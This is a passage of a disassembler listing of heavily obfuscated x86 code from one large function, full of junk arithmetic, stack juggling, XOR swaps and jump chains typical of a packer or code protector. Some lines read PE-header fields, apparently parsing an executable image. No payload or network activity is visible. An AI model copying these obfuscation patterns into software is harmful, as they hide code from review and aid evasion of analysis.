		pop	ebx
		or	ebx, ecx
		pop	ecx
		not	ebx
		add	ebx, 1903681Ch
		xor	ebx, 9D43C83Ah
		mov	esi, ebx
		pop	ebx
		and	eax, esi
		push	[esp+3Ah+var_3A]
		pop	esi
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		xchg	ecx, [esp+3Ah+var_3A]
		push	1EBDh
		mov	[esp+3Eh+var_3E], ecx
		xor	[esp+3Eh+var_3E], eax
		xor	eax, [esp+3Eh+var_3E]
		xor	[esp+3Eh+var_3E], eax
		push	eax
		not	[esp+42h+var_42]
		pop	eax
		xchg	eax, [esp+3Eh+var_3E]
		push	[esp+3Eh+var_3E]
		pop	ecx
		add	esp, 4
		xor	[esp+3Ah+var_3A], ecx
		xor	ecx, [esp+3Ah+var_3A]
		jmp	loc_59E907
; ---------------------------------------------------------------------------


loc_598A8E:				; CODE XREF: sub_57DD3A+1B0CDj
		pop	ebp
		jmp	loc_592538
; ---------------------------------------------------------------------------


loc_598A94:				; CODE XREF: sub_57DD3A+1D0B7j
		sub	esi, 1E843F39h
		add	esi, ebp
		jmp	loc_59E24F
; ---------------------------------------------------------------------------


loc_598AA1:				; CODE XREF: sub_57DD3A+1C5E4j
		xor	edx, 4466982h
		jmp	loc_59D483
; ---------------------------------------------------------------------------


loc_598AAC:				; CODE XREF: sub_57DD3A+252C6j
		xor	ecx, eax
		jmp	loc_5A0B11
; ---------------------------------------------------------------------------


loc_598AB3:				; CODE XREF: sub_57DD3A+22EB4j
		mov	ebp, 76DF5753h
		xor	ebp, ebx
		mov	ebx, [esp+36h+var_36]
		add	esp, 4
		sub	eax, 610E0FFFh
		jmp	loc_59E117
; ---------------------------------------------------------------------------


loc_598ACD:				; CODE XREF: sub_57DD3A+245DEj
		pop	edx
		add	esp, 4
		push	ebp
		push	[esp+2Eh+var_2A]
		pop	ebp
		pop	[esp+2Eh+var_2E]
		mov	esp, [esp+2Ah+var_2A]
		sub	esp, 4
		mov	[esp+2Eh+var_2E], ebx
		push	eax
		sub	esp, 4
		mov	[esp+36h+var_36], ecx
		push	499Fh
		jmp	loc_58F0EC
; ---------------------------------------------------------------------------


loc_598AF7:				; CODE XREF: sub_57DD3A+19388j
		mov	ebx, esp
		push	edi
		jmp	loc_58EE35
; ---------------------------------------------------------------------------


loc_598AFF:				; CODE XREF: sub_57DD3A+16E71j
					; sub_57DD3A+1A3D4j ...
		mov	ebx, [esp+7Ah+var_7C+2]
		sub	esp, 4
		mov	[esp+7Eh+var_80+2], ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_5970C7
; ---------------------------------------------------------------------------


loc_598B10:				; CODE XREF: sub_57DD3A+12054j
		xor	ebp, ebx
		mov	ebx, [esp+36h+var_36]
		add	esp, 4
		or	ebp, 5C350567h
		sub	ebp, 23C06D75h
		sub	esp, 4
		mov	[esp+36h+var_36], eax
		push	edi
		jmp	loc_59A5FC
; ---------------------------------------------------------------------------


loc_598B30:				; CODE XREF: sub_57DD3A+17ADCj
		pop	edx
		pop	ebx
		push	eax
		mov	eax, 4DE03816h
		xor	eax, 4DE03812h
		push	esi
		jmp	loc_59E47B
; ---------------------------------------------------------------------------


loc_598B43:				; CODE XREF: sub_57DD3A+1A28Dj
		sub	eax, ebp
		jmp	loc_59F57C
; ---------------------------------------------------------------------------


loc_598B4A:				; CODE XREF: sub_57DD3A+15FA4j
		imul	cl
		movzx	cx, ah
		jmp	loc_5A1AF2
; ---------------------------------------------------------------------------


loc_598B55:				; CODE XREF: sub_57DD3A+1C660j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+42h+var_42]
		pop	esp
		jmp	loc_59AF68
; ---------------------------------------------------------------------------


loc_598B6D:				; CODE XREF: sub_57DD3A+182D3j
		add	ecx, 3F01435Dh
		or	esi, ecx
		jmp	loc_59548D
; ---------------------------------------------------------------------------


loc_598B7A:				; CODE XREF: sub_57DD3A+204EFj
		push	edx
		mov	edx, 0E1A5B9F5h
		xor	ebp, edx
		pop	edx
		jmp	loc_594B3F
; ---------------------------------------------------------------------------


loc_598B88:				; DATA XREF: sub_57DD3A+1050Ao
		mov	ax, word ptr [esp+38h+var_3A+2]
		push	ebx
		jmp	loc_599583
; ---------------------------------------------------------------------------


loc_598B92:				; CODE XREF: sub_57DD3A+20DC4j
		add	[esp+3Ch+var_3E+2], 18C10272h
		jmp	loc_5A14F4
; ---------------------------------------------------------------------------


loc_598B9E:				; CODE XREF: sub_57DD3A+21DA4j
		push	[esp+3Ch+var_3E+2]
		pop	esi
		push	ebp
		push	44B4h
		mov	[esp+44h+var_46+2], esp
		jmp	loc_5A0929
; ---------------------------------------------------------------------------


loc_598BB0:				; CODE XREF: sub_57DD3A+10AB2j
		xchg	ebp, [esp+14h+var_16+2]
		pop	esp
		xor	ebx, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], ebx
		xor	ebx, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		mov	word ptr [esp+10h+var_12+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_598BD0:				; CODE XREF: sub_57DD3A+108F0j
		add	edx, ebx
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		mov	[ebx], al
		pop	ebx
		pop	edx
		jmp	loc_5A0BD4
; ---------------------------------------------------------------------------


loc_598BE3:				; CODE XREF: sub_57DD3A+11996j
		pop	ebx
		push	[esp+7Ch+var_7C]
		pop	eax
		add	esp, 4
		jmp	loc_593624
; ---------------------------------------------------------------------------


loc_598BF0:				; CODE XREF: sub_57DD3A+15050j
		pop	[esp+7Ch+var_7C]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+78h+var_78]
		pop	esp
		mov	[esp+74h+var_74], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+74h+var_74]
		mov	esp, [esp+74h+var_74]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_598C25:				; CODE XREF: sub_57DD3A+1D559j
		pop	[esp+7Ch+var_7C]
		jmp	loc_592C69
; ---------------------------------------------------------------------------


loc_598C2D:				; CODE XREF: sub_57DD3A+21981j
		add	ecx, 504B013Ah
		push	edx
		mov	edx, 4D757C0Fh
		inc	edx
		jmp	loc_592B44
; ---------------------------------------------------------------------------


loc_598C3F:				; CODE XREF: sub_57DD3A+1EBBFj
		pop	esi
		add	ebx, eax
		pop	eax
		xor	ebx, [esp+74h+var_74]
		jmp	loc_5A0CB4
; ---------------------------------------------------------------------------


loc_598C4B:				; CODE XREF: sub_57DD3A+19DB4j
		push	dx
		jmp	loc_5A32EA
; ---------------------------------------------------------------------------


loc_598C52:				; CODE XREF: sub_57DD3A+1CFF6j
		add	edx, eax
		sub	edx, 0C0F34F5h
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_598C5F:				; CODE XREF: sub_57DD3A+21E44j
		push	[esp+8+var_4]
		jmp	loc_596458
; ---------------------------------------------------------------------------


loc_598C68:				; CODE XREF: sub_57DD3A+1A839j
		mov	eax, [esp+26h+var_26]
		add	esp, 4
		neg	edx
		jmp	loc_598FB0
; ---------------------------------------------------------------------------


loc_598C78:				; CODE XREF: sub_57DD3A+16696j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+60h+var_60]
		pop	esp
		mov	ebp, esi
		pop	esi
		add	edi, 269A3E4Dh
		add	edi, ebp
		sub	edi, 269A3E4Dh
		mov	ebp, [esp+58h+var_58]
		add	esp, 4
		push	63AEh
		mov	[esp+58h+var_58], edx
		mov	edx, 4724995h
		sub	edx, 4724991h
		add	edi, edx
		pop	edx
		xor	edi, [esp+54h+var_54]
		jmp	loc_58F2D8
; ---------------------------------------------------------------------------


loc_598CBF:				; CODE XREF: sub_57DD3A+15E5Aj
		mov	edi, 2
		add	ecx, edi
		pop	edi
		xor	ecx, [esp+44h+var_46+2]
		jmp	loc_59838B
; ---------------------------------------------------------------------------


loc_598CCF:				; CODE XREF: sub_57DD3A+1B25Cj
		sub	eax, 63D137Bh
		mov	edx, [esp+44h+var_46+2]
		jmp	loc_5A2827
; ---------------------------------------------------------------------------


loc_598CDC:				; CODE XREF: sub_57DD3A+15428j
		mov	[esp+10h+var_12+2], eax
		jmp	loc_59C514
; ---------------------------------------------------------------------------


loc_598CE4:				; CODE XREF: sub_57DD3A+118DBj
		mov	ecx, [esp+70h+var_70]
		add	esp, 4
		sub	eax, 124F1075h
		add	eax, ebp
		add	eax, 124F1075h
		pop	ebp
		add	eax, edi
		push	edx
		mov	edx, 195B7303h
		shr	edx, 4
		jmp	loc_596DFC
; ---------------------------------------------------------------------------


loc_598D07:				; CODE XREF: sub_57DD3A+12ACAj
		mov	[esp+20h+var_22+2], ecx
		push	54370BE9h
		jmp	loc_58F076
; ---------------------------------------------------------------------------


loc_598D14:				; CODE XREF: sub_57DD3A+1E286j
		push	edi
		push	[esp+28h+var_26+2]
		pop	edi
		pop	[esp+28h+var_2A+2]
		pop	esp
		mov	[esp+20h+var_22+2], eax
		push	ebp
		push	5FCC0766h
		push	[esp+28h+var_2A+2]
		pop	ebp
		add	esp, 4
		jmp	loc_59F8F7
; ---------------------------------------------------------------------------


loc_598D33:				; CODE XREF: sub_57DD3A+21552j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		push	ebx
		jmp	loc_590A0E
; ---------------------------------------------------------------------------


loc_598D4D:				; CODE XREF: sub_57DD3A+10A1Ej
		pop	eax
		pop	ebp
		add	ebp, 4
		jmp	loc_59071E
; ---------------------------------------------------------------------------


loc_598D5A:				; CODE XREF: sub_57DD3A+18071j
		add	edx, esi
		mov	esi, [esp+10h+var_12+2]
		add	esp, 4
		inc	edx
		push	edi
		mov	edi, 0B9FC7161h
		xor	edx, edi
		pop	edi
		sub	ebx, 51B65D8h
		sub	ebx, edx
		add	ebx, 51B65D8h
		mov	edx, [esp+0Ch+var_E+2]
		add	esp, 4
		sub	ebx, 0FFFFFFFFh
		shl	ebx, 5
		sub	esp, 4
		jmp	loc_599E2A
; ---------------------------------------------------------------------------


loc_598D91:				; CODE XREF: sub_57DD3A+14CBDj
		push	eax
		mov	eax, 0E4118AEh
		or	eax, 45030CA3h
		xor	eax, 5E7E351Ch
		add	edi, eax
		pop	eax
		mov	esi, [esp+16h+var_16]
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_598DB0:				; CODE XREF: sub_57DD3A+17BFEj
		shr	esi, 7
		xor	esi, 1C06730h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+7Ch+var_7C]
		pop	esp
		jmp	loc_59B062
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	eax
		push	ebp
		mov	ebp, 48B2C98h
		push	ebp
		pop	eax
		mov	ebp, [esp+84h+var_84]
		jmp	loc_59834A
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+84h+var_84]
		push	ecx
		mov	ecx, esp
		jmp	loc_592215
; ---------------------------------------------------------------------------


loc_598DF1:				; CODE XREF: sub_57DD3A+12507j
		sub	edx, 4
		jmp	loc_59D7B2
; ---------------------------------------------------------------------------


loc_598DF9:				; CODE XREF: sub_57DD3A+22C13j
		sub	ebp, 64D5377h
		sub	ebp, 0F43D7C11h
		mov	ebx, ebp
		jmp	loc_598A8E
; ---------------------------------------------------------------------------


loc_598E0C:				; CODE XREF: sub_57DD3A+1E2A8j
		mov	[esp+2Eh+var_2E], ebx
		jmp	loc_5903B8
; ---------------------------------------------------------------------------


loc_598E14:				; CODE XREF: sub_57DD3A+190CEj
		push	ecx
		mov	ecx, 4
		push	edi
		jmp	loc_592FF5
; ---------------------------------------------------------------------------


loc_598E20:				; CODE XREF: sub_57DD3A+1C95Ej
		add	ecx, esi
		push	0A13h
		jmp	loc_5968C0
; ---------------------------------------------------------------------------


loc_598E2C:				; CODE XREF: sub_57DD3A+12B74j
		add	esp, 4
		mov	cl, dh
		mov	edx, [esp+32h+var_32]
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp+3Ah+var_3A], ebx
		mov	ebx, 4
		jmp	loc_5A0140
; ---------------------------------------------------------------------------


loc_598E4A:				; CODE XREF: sub_57DD3A+19D96j
		add	eax, 0BCE4E51Bh
		xor	edx, eax
		pop	eax
		not	edx
		xor	edx, 0C9AA486Fh
		jmp	loc_59B2EB
; ---------------------------------------------------------------------------
		mov	ax, [esp+0]
		push	1D5Ch
		jmp	loc_59B0F7
; ---------------------------------------------------------------------------


loc_598E6D:				; CODE XREF: sub_57DD3A+219E9j
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_590CCD
; ---------------------------------------------------------------------------


loc_598E7A:				; CODE XREF: sub_57DD3A+1C23Bj
		dec	edi
		sub	edi, 80889F8Ah
		add	ebx, edi
		pop	edi
		push	143Ah
		mov	[esp+12h+var_12], edi
		jmp	loc_59329C
; ---------------------------------------------------------------------------


loc_598E91:				; CODE XREF: sub_57DD3A+1395Fj
		xor	ebp, [esp+2Eh+var_2E]
		xor	[esp+2Eh+var_2E], ebp
		xor	ebp, [esp+2Eh+var_2E]
		jmp	loc_593A4D
; ---------------------------------------------------------------------------


loc_598E9F:				; CODE XREF: sub_57DD3A+14935j
		shl	ecx, 3
		and	ecx, 54E800FDh
		xor	ecx, 14902DE6h
		xor	ebp, ecx
		pop	ecx
		push	ebp
		inc	[esp+1Ch+var_1E+2]
		jmp	loc_594D97
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+1Ch+var_1E+2]
		push	3810h
		mov	[esp+20h+var_22+2], edi
		mov	edi, esp
		push	4D47h
		mov	[esp+24h+var_26+2], ecx
		mov	ecx, 4
		sub	esp, 4
		jmp	loc_591828
; ---------------------------------------------------------------------------


loc_598EDD:				; CODE XREF: sub_57DD3A+1FF9Dj
		add	edx, 4
		xchg	edx, [esp+28h+var_2A+2]
		jmp	loc_59F276
; ---------------------------------------------------------------------------


loc_598EE8:				; CODE XREF: sub_57DD3A+2287Dj
		pop	edx
		add	eax, ebx
		push	edx
		mov	edx, 71C3186Eh
		add	edx, 8F9635Dh
		or	edx, 68E04AAAh
		xor	edx, 479A07EAh
		sub	eax, edx
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_591ABC
; ---------------------------------------------------------------------------


loc_598F10:				; CODE XREF: sub_57DD3A+10F6Ej
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+1Eh+var_1E]
		pop	esp
		jmp	loc_59561C
; ---------------------------------------------------------------------------


loc_598F22:				; CODE XREF: sub_57DD3A+1A0DEj
		push	esi
		push	[esp+2Ch+var_2A+2]
		pop	esi
		jmp	loc_599451
; ---------------------------------------------------------------------------


loc_598F2D:				; CODE XREF: sub_57DD3A+24004j
		shr	dh, 3
		add	dh, 0F2h
		sub	ah, dh
		jmp	loc_59F413
; ---------------------------------------------------------------------------


loc_598F3A:				; CODE XREF: sub_57DD3A+21EC1j
		push	[esp+2Ch+var_2E+2]
		jmp	loc_595746
; ---------------------------------------------------------------------------


loc_598F42:				; CODE XREF: sub_57DD3A+2521Dj
		add	edx, eax
		mov	eax, [esp+30h+var_32+2]
		jmp	loc_59BFA1
; ---------------------------------------------------------------------------


loc_598F4C:				; CODE XREF: sub_57DD3A+14FC4j
		mov	esi, 0D656D08h
		push	edx
		mov	edx, 5251168h
		or	esi, edx
		jmp	loc_59EF50
; ---------------------------------------------------------------------------


loc_598F5E:				; CODE XREF: sub_57DD3A+11BE8j
		mov	edi, [esp+78h+var_78]
		add	esp, 4
		push	eax
		jmp	loc_59E4AB
; ---------------------------------------------------------------------------


loc_598F6D:				; CODE XREF: sub_57DD3A+22B38j
		xor	eax, [esp+78h+var_78]
		pop	esp
		push	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_594176
; ---------------------------------------------------------------------------


loc_598F80:				; CODE XREF: sub_57DD3A+1FACFj
		mov	ah, ch
		mov	ecx, [esp+7Ch+var_7C]
		add	esp, 4
		pop	edx
		jmp	loc_58ED19
; ---------------------------------------------------------------------------


loc_598F91:				; CODE XREF: sub_57DD3A+22939j
		sub	eax, 30052AD3h
		jmp	loc_598CCF
; ---------------------------------------------------------------------------


loc_598F9B:				; CODE XREF: sub_57DD3A+1387Aj
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ebx
		mov	bl, 0A4h
		xor	bl, 0C4h
		and	bl, 23h
		dec	bl
		jmp	loc_59A61C
; ---------------------------------------------------------------------------


loc_598FB0:				; CODE XREF: sub_57DD3A+1AF39j
		add	edx, 63F641BEh
		shl	edx, 8
		dec	edx
		or	edx, 71157E51h
		sub	edx, 8D107014h
		add	edi, edx
		pop	edx
		jmp	loc_59DD3D
; ---------------------------------------------------------------------------


loc_598FCE:				; CODE XREF: sub_57DD3A+20AA9j
		add	cl, 30h
		add	bl, 0B1h
		sub	bl, cl
		push	edx
		jmp	loc_58F222
; ---------------------------------------------------------------------------


loc_598FDC:				; CODE XREF: sub_57DD3A+176FBj
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp+32h+var_32]
		pop	esp
		mov	[esp+2Eh+var_2E], ecx
		push	25D1h
		jmp	loc_59D4D3
; ---------------------------------------------------------------------------


loc_598FF6:				; CODE XREF: sub_57DD3A+255BFj
		sub	cl, 6
		pop	bx
		jmp	loc_594874
; ---------------------------------------------------------------------------


loc_599000:				; CODE XREF: sub_57DD3A+19FE6j
		push	522Dh
		mov	[esp+5Eh+var_60+2], ebx
		push	ecx
		mov	ecx, 38D16270h
		jmp	loc_59F744
; ---------------------------------------------------------------------------


loc_599013:				; CODE XREF: sub_57DD3A+170A0j
		pop	eax
		add	esp, 4
		push	0B90h
		mov	[esp+14h+var_16+2], edx
		jmp	loc_59C80F
; ---------------------------------------------------------------------------


loc_599024:				; CODE XREF: sub_57DD3A+23EC7j
		push	ebp
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], edx
		jmp	loc_591F48
; ---------------------------------------------------------------------------


loc_599030:				; CODE XREF: sub_57DD3A+18450j
		dec	ecx
		push	ebp
		push	edi
		push	5A35129Dh
		jmp	loc_58FEC9
; ---------------------------------------------------------------------------


loc_59903D:				; CODE XREF: sub_57DD3A+12ADCj
		mov	al, 6Ah
		jmp	loc_59AEFE
; ---------------------------------------------------------------------------


loc_599044:				; CODE XREF: sub_57DD3A+222A9j
		pop	edx
		push	ebx
		mov	ebx, 4
		jmp	loc_59ADA0
; ---------------------------------------------------------------------------


loc_599050:				; CODE XREF: sub_57DD3A+13F55j
		push	ecx
		push	eax
		jmp	loc_58EE52
; ---------------------------------------------------------------------------


loc_599057:				; CODE XREF: sub_57DD3A+160B4j
		add	esp, 4
		jmp	loc_58EAF1
; ---------------------------------------------------------------------------


loc_599062:				; CODE XREF: sub_57DD3A+1FD0Ej
		mov	ebp, 5C360267h
		jmp	loc_596197
; ---------------------------------------------------------------------------


loc_59906C:				; CODE XREF: sub_57DD3A+1702Ej
		sub	esp, 4
		mov	[esp+2Eh+var_2E], esi
		push	[esp+2Eh+var_2A]
		pop	esi
		pop	[esp+2Eh+var_2E]
		jmp	loc_59BE0A
; ---------------------------------------------------------------------------


loc_59907F:				; CODE XREF: sub_57DD3A+1B4A9j
		push	eax
		mov	eax, 29060E3h
		add	esi, eax
		pop	eax
		xor	esi, 2989827Bh
		sub	ecx, esi
		pop	esi
		add	ebx, 420B463Ch
		add	ebx, ecx
		sub	ebx, 420B463Ch
		push	[esp+26h+var_26]
		jmp	loc_59D40F
; ---------------------------------------------------------------------------


loc_5990A7:				; CODE XREF: sub_57DD3A+2447Dj
		add	ecx, 0F3CB0B56h
		jmp	loc_592B07
; ---------------------------------------------------------------------------


loc_5990B2:				; CODE XREF: sub_57DD3A+160F3j
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_59A235
; ---------------------------------------------------------------------------


loc_5990C0:				; CODE XREF: sub_57DD3A+16F0Cj
		mov	[esp+4Eh+var_50+2], eax
		mov	eax, 4
		and	ecx, eax
		push	[esp+4Eh+var_50+2]
		pop	eax
		push	eax
		jmp	loc_59F46A
; ---------------------------------------------------------------------------


loc_5990D4:				; CODE XREF: sub_57DD3A+11DECj
		xor	ecx, eax
		add	ecx, 0FFFFFFFFh
		push	7609h
		mov	[esp+20h+var_22+2], eax
		push	esi
		jmp	loc_59427B
; ---------------------------------------------------------------------------


loc_5990E7:				; CODE XREF: sub_57DD3A+21847j
		mov	ebp, [esp+24h+var_26+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_5A2CC3
; ---------------------------------------------------------------------------


loc_599100:				; CODE XREF: sub_57DD3A+2371Fj
		pop	ebp
		jmp	loc_58EF1A
; ---------------------------------------------------------------------------


loc_599106:				; CODE XREF: sub_57DD3A+17FFAj
		push	0
		sub	[esp+58h+var_58], edx
		pop	edx
		shr	edx, 2
		add	edx, 109663A0h
		mov	ecx, edx
		push	[esp+54h+var_54]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, 38B3726h
		sub	ebp, 0DCD6D6D3h
		add	ebx, ebp
		jmp	loc_5974E6
; ---------------------------------------------------------------------------


loc_599137:				; CODE XREF: sub_57DD3A+24965j
		mov	ax, 241h
		and	dx, ax
		pop	ax
		push	ebp
		mov	bp, 3F96h
		push	si
		jmp	loc_59052F
; ---------------------------------------------------------------------------


loc_59914C:				; CODE XREF: sub_57DD3A+1CEE6j
		push	332Eh
		mov	[esp+5Ch+var_5C], ecx
		mov	cl, 0EDh
		jmp	loc_595D51
; ---------------------------------------------------------------------------


loc_59915B:				; CODE XREF: sub_57DD3A+152B6j
		xor	ebx, 1EF010FFh
		sub	ebx, 6FD63443h
		inc	ebx
		add	ebx, 2B02DCB8h
		xor	edi, ebx
		pop	ebx
		jmp	loc_592571
; ---------------------------------------------------------------------------


loc_599176:				; CODE XREF: sub_57DD3A+251FAj
		push	70BCh
		mov	[esp+46h+var_46], edi
		mov	edi, 33A82D21h
		sub	edi, 477A23E2h
		xor	edi, 0FAE449Bh
		shr	edi, 5
		or	edi, 671458AFh
		xor	edi, 671C5AEBh
		push	edi
		mov	edi, 1F5E2594h
		shl	edi, 3
		jmp	loc_5901C9
; ---------------------------------------------------------------------------


loc_5991AC:				; CODE XREF: sub_57DD3A+23709j
		push	[esp+4Ah+var_4C+2]
		mov	ecx, [esp+4Eh+var_50+2]
		jmp	loc_59E5CF
; ---------------------------------------------------------------------------


loc_5991B7:				; CODE XREF: sub_57DD3A+16EB2j
		mov	esi, [esp+2Ch+var_2E+2]
		add	esp, 4
		or	eax, eax
		jz	loc_597D1E
		push	dword ptr [edi+28h]
		push	[esp+2Ch+var_2E+2]
		pop	eax
		jmp	loc_5A1C21
; ---------------------------------------------------------------------------


loc_5991D1:				; CODE XREF: sub_57DD3A+12CA5j
		push	ecx
		mov	ecx, 6A7A0C89h
		xor	ecx, 0B9E0325h
		push	esi
		mov	esi, 38DC2F65h
		jmp	loc_59907F
; ---------------------------------------------------------------------------


loc_5991E8:				; CODE XREF: sub_57DD3A+1B7B8j
		sub	edi, 45C82FE7h
		jmp	loc_5912DD
; ---------------------------------------------------------------------------


loc_5991F3:				; CODE XREF: sub_57DD3A+1DF84j
		sub	eax, 30E32310h
		pop	ecx
		sub	eax, 4
		jmp	loc_59956F
; ---------------------------------------------------------------------------


loc_599203:				; CODE XREF: sub_57DD3A+10BB6j
		mov	ebx, 22D1D1Dh
		xor	ebx, 34FEE1E1h
		xor	edi, ebx
		pop	ebx
		mov	eax, edi
		pop	edi
		push	eax
		jmp	loc_599299
; ---------------------------------------------------------------------------


loc_59921A:				; CODE XREF: sub_57DD3A+25575j
		push	eax
		jmp	loc_5A11B0
; ---------------------------------------------------------------------------


loc_599220:				; CODE XREF: sub_57DD3A+19653j
		add	esi, 4
		jmp	loc_5A0A81
; ---------------------------------------------------------------------------


loc_59922B:				; CODE XREF: sub_57DD3A+12EC4j
		add	esp, 4
		push	esi
		jmp	loc_594072
; ---------------------------------------------------------------------------


loc_599237:				; CODE XREF: sub_57DD3A+119CAj
		and	esi, 74AA18C0h
		add	esi, 4DEB424Bh
		shl	esi, 2
		shl	esi, 8
		add	esi, 49173A24h
		sub	eax, 464911EBh
		add	eax, esi
		add	eax, 464911EBh
		jmp	loc_58FC2D
; ---------------------------------------------------------------------------


loc_599260:				; CODE XREF: sub_57DD3A+1C75Bj
		add	ecx, 64D50F23h
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp+80h+var_80]
		pop	esp
		pop	[esp+7Ch+var_7C]
		mov	esp, [esp+78h+var_78]
		push	3046h
		mov	[esp+7Ch+var_7C], eax
		jmp	loc_59E7FF
; ---------------------------------------------------------------------------


loc_599284:				; CODE XREF: sub_57DD3A+17C0Fj
		push	[esp+6+var_8+2]
		pop	ecx
		add	esp, 4
		xor	ebp, 246A7EDAh
		jmp	loc_5A2505
; ---------------------------------------------------------------------------


loc_599299:				; CODE XREF: sub_57DD3A+1B4DBj
		not	[esp+2+var_4+2]
		pop	eax
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		jmp	loc_59E5DE
; ---------------------------------------------------------------------------


loc_5992A6:				; CODE XREF: sub_57DD3A+15C42j
		pop	ebx
		push	edx
		mov	edx, 29261CC4h
		add	edx, 51804BFDh
		and	esi, edx
		pop	edx
		jmp	loc_5A30A2
; ---------------------------------------------------------------------------


loc_5992BB:				; CODE XREF: sub_57DD3A+1A123j
		shr	ebp, 6
		shl	ebp, 8
		not	ebp
		jmp	loc_599EA8
; ---------------------------------------------------------------------------


loc_5992C8:				; CODE XREF: sub_57DD3A+244CBj
		mov	edi, 63A1CDAh
		jmp	loc_5A30AF
; ---------------------------------------------------------------------------


loc_5992D2:				; CODE XREF: sub_57DD3A+1D3ADj
		mov	esp, [esp+30h+var_32+2]
		mov	ax, word ptr [esp+30h+var_32+2]
		push	7BB4h
		mov	[esp+34h+var_36+2], edi
		jmp	loc_590874
; ---------------------------------------------------------------------------


loc_5992E6:				; CODE XREF: sub_57DD3A+248DFj
		mov	[esp+34h+var_36+2], esp
		add	[esp+34h+var_36+2], 4
		pop	ecx
		jmp	loc_59DA2F
; ---------------------------------------------------------------------------


loc_5992F6:				; CODE XREF: sub_57DD3A+21196j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	147Dh
		mov	[esp+34h+var_36+2], edi
		push	[esp+34h+var_32+2]
		push	[esp+38h+var_3A+2]
		pop	edi
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59E35A
; ---------------------------------------------------------------------------


loc_599325:				; CODE XREF: sub_57DD3A+23DF5j
		not	edi
		shr	edi, 4
		xor	edi, ebx
		xor	ebx, edi
		jmp	loc_5918FE
; ---------------------------------------------------------------------------


loc_599333:				; CODE XREF: sub_57DD3A+17BF1j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_599338:				; CODE XREF: sub_57DD3A+15EC3j
		pop	esp
		add	esp, 4
		pop	[esp+4Ch+var_4C]
		mov	esp, [esp+0]
		mov	ax, [esp+0]
		push	2EDEh
		mov	[esp+4Ch+var_4C], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_58E55C
; ---------------------------------------------------------------------------


loc_59935F:				; CODE XREF: sub_57DD3A+1A0ECj
		pop	esp
		mov	[esp+24h+var_26+2], edx
		push	ecx
		mov	cl, 0FEh
		mov	dl, cl
		pop	ecx
		xor	dl, 8Fh
		sub	dl, 5Ch
		sub	dl, 0FAh
		jmp	loc_596CFF
; ---------------------------------------------------------------------------


loc_599377:				; CODE XREF: sub_57DD3A+1A7E1j
		sub	edi, 51AB00EAh
		mov	eax, [esp+42h+var_42]
		push	esi
		jmp	loc_5915A0
; ---------------------------------------------------------------------------


loc_599386:				; CODE XREF: sub_57DD3A+15B56j
		shl	dh, 6
		push	3DF6h
		mov	[esp+6Eh+var_70+2], eax
		jmp	loc_5A12F6
; ---------------------------------------------------------------------------


loc_599396:				; CODE XREF: sub_57DD3A+187D3j
		add	eax, edi
		jmp	loc_596FA5
; ---------------------------------------------------------------------------


loc_59939D:				; CODE XREF: sub_57DD3A+1EF1Aj
		mov	edx, [esp+8Ch+var_8C]
		add	esp, 4
		add	ebx, 51CA0A01h
		sub	esp, 4
		mov	[esp+8Ch+var_8C], edx
		jmp	loc_591737
; ---------------------------------------------------------------------------


loc_5993B7:				; CODE XREF: sub_57DD3A+1BB59j
		pop	edi
		pop	eax
		push	704Fh
		mov	[esp+88h+var_88], ebp
		jmp	loc_58F3D1
; ---------------------------------------------------------------------------


loc_5993C6:				; CODE XREF: sub_57DD3A+20F3Ej
		sub	esi, 53C001DDh
		push	edx
		mov	edx, 0FD55C1Ch
		push	esi
		mov	esi, 650276A8h
		sub	esi, 3E0CFCBFh
		add	edx, 0F1E09D8h
		jmp	loc_595756
; ---------------------------------------------------------------------------


loc_5993E9:				; CODE XREF: sub_57DD3A+2221Cj
		shr	edx, 7
		or	edx, 4C216337h
		shl	edx, 4
		shr	edx, 8
		neg	edx
		jmp	loc_5941F6
; ---------------------------------------------------------------------------


loc_5993FF:				; CODE XREF: sub_57DD3A+22BF0j
		mov	eax, 4
		add	[esp+90h+var_8C], eax
		pop	eax
		mov	ebp, [esp+8Ch+var_8C]
		add	esp, 4
		sub	esp, 4
